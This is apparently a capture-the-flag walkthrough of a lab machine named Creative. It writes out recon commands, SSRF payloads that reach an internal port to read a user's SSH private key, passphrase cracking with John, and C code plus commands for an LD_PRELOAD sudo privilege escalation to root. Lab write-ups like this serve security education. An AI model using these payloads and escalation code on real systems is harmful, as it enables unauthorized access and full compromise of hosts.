Creative
Exploit a vulnerable web application and some misconfigurations to gain root privileges.
This work by Manav G Krishna is licensed under CC BY-NC 4.0
Machine IP
: 10.10.65.65
Nmap Scan
:
nmap -p- -A -v --min-rate 100 -oN creative_thm -Pn 10.10.65.65
Nmap scan report for 10.10.65.65
Host is up (0.16s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:5c:1c:4e:b4:86:cf:58:9f:22:f9:7c:54:3d:7e:7b (RSA)
| 256 47:d5:bb:58:b6:c5:cc:e3:6c:0b:00:bd:95:d2:a0:fb (ECDSA)
|_ 256 cb:7c:ad:31:41:bb:98:af:cf:eb:e4:88:7f:12:5e:89 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://creative.thm
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|storage-misc
Running (JUST GUESSING): Crestron 2-Series (86%), HP embedded (85%)
OS CPE: cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3
Aggressive OS guesses: Crestron XPanel control system (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 45.475 days (since Tue Feb 27 06:46:24 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 157.07 ms 10.11.0.1
2 157.09 ms 10.10.65.65
From the scan we can see that the domain name is creative.thm
from the http-title
part. We can also find this out by just searching the machine IP in Firefox instead of waiting for the scan to complete.
Now an entry can be made in the /etc/hosts
file.
Command
:
echo "10.10.65.65 creative.thm" | sudo tee -a /etc/hosts >/dev/null
Checking out port 80
:

We have a contact form
here:

Testing out a basic XSS Payload
:
Now let's set up a netcat
listener on port 80
. If the above payload works we should be getting a connection back on our listener which basically shows that the server has reached out to our machine. The IP
specified in the payload is the tun0
interface IP
.


But unfortunately we don't get any connection on the listener.
We can now do some directory busting
:
Command
:
dirsearch -u http://creative.thm -t 1000 //It is highly recommended to not use a high thread count like in this case, on legit targets due to the amount of noise it would generate.

The /assets
path was Forbidden.

We have no other paths.
Now let us do a VHost Busting
:
Command
:
gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://creative.thm --append-domain creative.thm

There is a subdomain named: beta.creative.thm
. Now we can this to the hosts
file.
Checking out the newly found subdomain
:

There is a dialog box where URL's
can be entered and the description says it will check if the URL
submitted is alive or not
.
The first thought was of trying Command Injection
, but had no success.
Let us now check if it is vulnerable to SSRF
:
We can do this using a tool called SSRFmap
which is a semi-automatic operating tool that exploits the vulnerability to fetch information. It provides ready-made modules
that we can make use of.
The tool takes a Burp request file
as input and a parameter
to fuzz. Now let us intercept the request in Burp post clicking on Submit
(The dialog box can be left empty or you can type in anything that you want to):


The parameter that we have is: url
Commands
:
git clone https://github.com/swisskyrepo/SSRFmap && cd SSRFmap
python3 ssrfmap.py -r request -p url -m portscan
The portscan
module scans top 8000
ports for the host.
Now the request
shown in the snippet above has to be saved to a file, have named it request
in this case.
Running the tool
:


It found two
open ports on the machine's localhost: 80
& 1337
. The same output can be achieved by using ffuf
, wfuzz
, Burp's Intruder
etc.
Now we can use payloads like these to fetch information:

Payloads
:
http://127.0.1:1337 //This is a classic bypass, which consists of replacing 127.0.0.1 with 127.0.1
http://127.0.0.1:1337


The payload worked and now we have a listing of all the directories on the machine.
Let us get inside the /home
directory:


We have a user named saad
. Upon further climbing the directories, we get to the private key of saad
within the .ssh
directory:



We have the key in the correct format in the page source.
SSH ing in as saad
:
Using the private key, post giving the file the needed permissions (chmod 400/600
) we can SSH
in as saad
:
Command
:
ssh saad@creative.thm -i id_rsa

We notice that it is asking for the private key's passphrase. An id_rsa passphrase
is an additional layer of security that can be added to the private key of an SSH key pair.
There are tools like ssh2john
that converts the current private key format to John
format which can then be used with John The Ripper
tool to crack the passphrase.
Commands
:
ssh2john id_rsa > id_rsa_john_format
john --wordlist=/usr/share/wordlist/rockyou.txt id_rsa_john_format

Note
:
Since I had already done the cracking before, I have used the --show
switch of john to show the passphrase.
SSH ing in as saad with the obtained passsphrase
:

The user flag can now be fetched from the users /home
directory. We could also take it from the URL Tester
page by submitting this: http://127.0.1:1337/home/saad/user.txt
.
Upon checking out the .bash_history
file we find saad's
password:

In Bash, your command history is stored in a file ( .bash_history
) in your home directory. Now we can check for sudo
rights.
Privilege Escalation
:
We can now check for saad's
sudo
rights/privs:

saad
has the ability to run /usr/bin/ping
as the root
user using sudo
. The LD_PRELOAD
environment variable is retained when executing commands with sudo
, which is used for preloading shared libraries
into a program's memory.
This environment variable can be exploited to privilege escalate
.
Create a C-program
within a directory we have write permissions on, we can use the /tmp
directory in this case:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
Command
:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

This creates a shell.so
file. The warnings can be ignored.
Command
:
sudo LD_PRELOAD=/tmp/shell.so ping

Now we are root and can fetch the root flag from the /root
directory.
Room solved!!
Last updated